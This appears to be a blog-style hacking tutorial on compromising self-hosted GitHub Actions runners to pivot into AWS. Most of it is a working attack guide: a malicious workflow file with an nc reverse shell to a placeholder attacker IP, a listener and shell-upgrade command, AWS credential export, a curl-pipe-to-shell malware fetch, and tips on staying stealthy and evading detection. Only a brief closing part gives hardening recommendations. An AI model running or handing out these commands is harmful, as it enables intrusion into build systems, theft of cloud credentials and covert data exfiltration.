Hacking Tutorial: AWS Compromise through Self-Hosted Github Runners

Summary

Organizations using self-hosted Github Runners should understand that malicious Github workflows can be leveraged to compromise the runners and use the runner as a pivot point into your AWS environment. Anyone within your organization with access to modify and execute workflows can create one.

Growing software supply chain security threats through the Github Action dependency tree can increase risk of compromise for your organization.

In this post, we will walk through steps to create a malicious github workflow and explore a method on how to use them to pivot into your AWS environment. After that, what you do with that, is up to you!

Background

Github Actions is a CI/CD platform that supports event-based triggered workflows at the code repository level. These workflows can contain a set of jobs that execute on a runner, typically to build, test, and deploy code artifacts. Workflows are a set of code defined jobs.

Jobs are a set of steps in a workflow that are executed on the runner. Frequently repeated steps can be wrapped up as an action. A common action may be to publish a built software artifact to your organization’s private artifact registry. To make Github Actions easily usable and sharable across the industry, Github Workflows can reference Github Actions from other code repositories and even other organizations.

These workflows run on Github Runners, which are just virtual machines that run the jobs defined in the workflow file.

Self-hosted runners operate within your own AWS environment. You can customize however you need and deploy EC2 instances or use containers. The point is, these runners likely have access to your AWS environment.

Hacking Tutorial

By design, Github Actions can trigger workflows based on different Github events, such as PR creation. This means an attacker can make a PR to a Github repo with a custom Github workflow. The attacker would embed malicious commands in the workflow file to be executed on the runner. Depending on the goal of the attacker, they can achieve a variety of outcomes, which we will explore below.

The attacker can then pivot into the AWS environment with the role attached to the Github runner.

Step 1: Prepare the Attacker Environment

Note: There are several ways to gain full control of the Github Runner. Steps below detail a mechanism to deploy basic remote control of the runner using the nc utility, a native Linux utility that supports basic TCP/UDP network communication.

• On the attacker machine, run the following command: nc -nlv 5555
• This command tells the attacker machine to listen on port 5555 for incoming communications

Step 2: Update a Github workflow file

• Go to github/workflows
• Publish a workflow file with the following content

exploit.yml

name: Malicious Workflow
on: push
jobs:
  init:
    runs-on:
        - self-hosted
        - small
    steps:
    # reverse shell
    - run: |
          RESPONSE=$(mknod /tmp/backpipe p; /bin/bash 0</tmp/backpipe | nc <ATTACKER-IP> 5555 1>/tmp/backpipe)
          echo "Response: $RESPONSE"
      name: run nc

Note: <ATTACKER-IP> can be replaced with your IP. On a home network, this can be achieved with port forwarding on your router and using your external IP address.

Step 3: Trigger Malicious Workflow Execution

• When the workflow is triggered, a connection should be returned back to the attacker controlled machine. You can confirm remote code execution with whoami .

Of course you can execute anything you want because the Github workflow allows any code execution. So the point here is to understand that this is just another Linux machine, and potentially with more access than you’d prefer.

• I prefer upgrading my reverse shell to an interactive shell. There are several ways to do so, but here’s one:

python -c 'import pty;pty.spawn("/bin/bash")'

Catching the reverse shell from the runner. Observe the results of whoami.

Step 4: Export the AWS credentials

• Once you’re on the runner, you may need to install some extra utilities, depending on the environment.
• Based on the default configs from Github [https://github.com/actions/actions-runner-controller], I personally needed to install less .
• Export the AWS credentials

sudo apt install -y less
aws configure export-credentials

Exporting AWS Credentials (Redacted).

Technically, you didn’t have to use a reverse shell to get to this point, but it is way more helpful for post-exploitation. Not only that, but any execution you run from here looks like its coming from a legitimate source from any monitoring tools. Stay stealthy.

Who knows, maybe I just like to overcomplicate things.

Post-Exploitation Tips:

At this point you can do whatever you want with those AWS credentials! You are within the internal network and conduct your traditional internal network penetration test and AWS assumed compromise scenario.

I won’t be getting into the details on how to perform each of these, but may get to it in the future!

I’d recommend:

• Staying stealthy by running any AWS attacks from within the runner
• Check for container breakout and compromise the node
• If using Kubernetes, gather credentials and abuse granted permissions
• Check AWS access. Look for data exfiltration, security group modifications, access control modifications, etc. See if you can open up any holes, not just find one
• Import and execute any malware in memory to reduce chances for detection. I personally prefer writing malicious bash scripts to do my dirty work. Something like this should do the trick:

curl -L <hosted.malware.site/path/file.sh> | sh 

Security Recommendations

At the root of all this commotion, it comes down to treating your Github Runners just like any other internal resource.

The differences lie in the exposed attack surface, especially the 3rd party Github Actions.

• Enforce strict inbound/outbound traffic control on self-hosted Github Runners. Ensure traffic is restricted on a need-to-know basis.
• Regularly review permissions to the AWS role provisioned to your Github Runners
• Develop and implement Security Hardening for Github Actions
• Develop an internal process for restricting Github Workflows and Actions
• Develop monitoring and alerting for Github Runner execution
• Ensure AWS monitoring and alerting can detect for credential abuse. For messy attackers, there are often a lot of errors during enumeration!

Conclusion

There are several ways to gain initial access and extract the AWS secret/access key pair. Overall impact of successful exploitation is dependent on the permissions attached to the AWS role your provision to the runner.

This example should serve as a clear reminder as to why defense in depth controls are important.

I’ve gotten the opportunity to peek at a few different organization’s Github workflows. Each of them directly imported AWS creds that the would have and need access to do its job. Chances are, yours does too.

Try this method out and feel free to reach out to learn more.